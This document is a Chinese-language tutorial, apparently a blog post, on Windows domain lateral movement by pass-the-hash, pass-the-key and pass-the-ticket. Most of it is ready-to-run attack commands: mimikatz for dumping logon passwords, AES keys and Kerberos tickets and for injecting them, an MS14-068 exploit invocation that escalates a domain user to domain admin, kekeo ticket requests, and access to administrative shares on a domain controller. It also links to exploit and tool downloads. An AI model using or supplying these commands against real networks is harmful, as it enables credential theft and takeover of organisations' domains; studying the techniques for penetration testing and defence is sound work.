1. 程式人生 > 其它 >4.橫向PTH&PTK&PTT雜湊票據傳遞

4.橫向PTH&PTK&PTT雜湊票據傳遞

0x01.前提知識

1.pth

PTH(pass the hash) #利用 lm 或 ntlm 的值進行的滲透測試

PTH 在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接通過 LM Hash 和 NTLM Hash 訪問遠端主機或服務,而不用提供明文密碼。

如果禁用了 ntlm 認證,PsExec 無法利用獲得的 ntlm hash 進行遠端連線,但是使用 mimikatz 還是可以攻擊成功。對於安裝補丁 kb2871997的Win 7/2008r2/8/2012 等,可以使用 AES keys代替 NT hash 來實現 ptk 攻擊

總結:KB2871997 補丁後的影響

pth:沒打補丁使用者都可以連線,打了補丁只能 administrator 連線
ptk:打了補丁才能使用者都可以連線,採用 aes256 連線

2.ptk

PTK(pass the key) #利用的ekeys aes256進行的滲透測試

攻擊方式同PTH,只是打了補丁後將NTML值換成aes256加密的值

3.ptt

PTT(pass the ticket) #利用的票據憑證TGT進行的滲透測試

PTT攻擊的部分就不是簡單的NTLM認證了,它是利用Kerberos協議進行攻擊的,這裡就介紹三種常見的攻擊方法:MS14-068,Golden ticket,SILVER ticket,簡單來說就是將連接合法的票據注入到記憶體中實現連線。

MS14-068基於漏洞,Golden ticket(黃金票據),SILVER ticket(白銀票據)
其中Golden ticket(黃金票據),SILVER ticket(白銀票據)屬於許可權維持技術

MS14-068造成的危害是允許域內任何一個普通使用者,將自己提升至域管許可權。微軟給出的補丁是kb3011780

0x02.域橫向移動PTH NTML傳遞

PTH ntlm 傳遞
未打補丁下的工作組及域連線

# mimikatz 命令
privilege::debug           // #提升許可權
sekurlsa::logonPasswords   // #抓取密碼

sekurlsa::pth /user:administrator /domain:tencent /ntlm:2baaefbdd1ee80755b986ee93a8848b2
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
# 域內
sekurlsa::pth /user:boss /domain:tencent /ntlm:ccef208c6485269c20db2cad21734fe7

# 上面反彈回來shell 檢視域控的d盤資訊
dir \\WIN-83V1721VG9V.tencent.com\d$    // 連線使用ip/域名都可以

0x03.域橫向移動PTK aes256傳遞

KB2871997補丁後的工作組及域連線

# mimikatz 命令
privilege::debug           // 提升許可權
sekurlsa::ekeys            // 獲取aes

sekurlsa::pth /user:administrator /domain:tencent /aes256:f305f03562f81f7847f17bcf9477cce414fb47e4271763cf9078cc2566316e0f

0x04.域橫向移動PTT雜湊票據傳遞-ms14068&kekeo&本地

1.MS14-068漏洞

能實現普通使用者直接獲取域控system許可權

1.檢視當前sid 
whoami/user
2.清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造(不需要system許可權)
kerberos::purge                   // 清空當前機器中所有憑證或者cmd下 klist purge
kerberos::list                       // 檢視當前機器憑證
kerberos::ptc 票據檔案        // 將票據注入到記憶體中
3.利用ms14-068生成TGT資料 
ms14-068.exe -u 域成員名@域名 -s sid -d 域控制器地址 -p 域成員密碼
MS14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票據注入記憶體
mimikatz.exe "kerberos::ptc [email protected]" exit
5.檢視憑證列表 
klist
6.利用  
dir \\192.168.3.21\c$

# 本質就是生成一個合法的連線請求 , 用mimikatz匯入到記憶體中

MS14-068下載:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

2.kekeo

下載地址 : https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20210723

1.生成票據
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.匯入票據
kerberos::ptt [email protected][email protected]
3.檢視憑證 klist
4.利用net use載入
dir \\192.168.3.21\c$

3.利用本地票據(需管理許可權)

這種方式是猜測當前電腦連線過域控,並且連線時長沒有超過票據的過期時間(10小時 )

# mimikatz 命令
privilege::debug           // 提升許可權

sekurlsa::tickets /export   // 匯出本地所有票據
kerberos::ptt xxxxxxxxxx.xxxx.kirbi  // 匯入票據 
dir \\192.168.3.21\c$   // 利用

0x05 開源內網神器Ladon

Ladon使用:https://github.com/k8gege/Ladon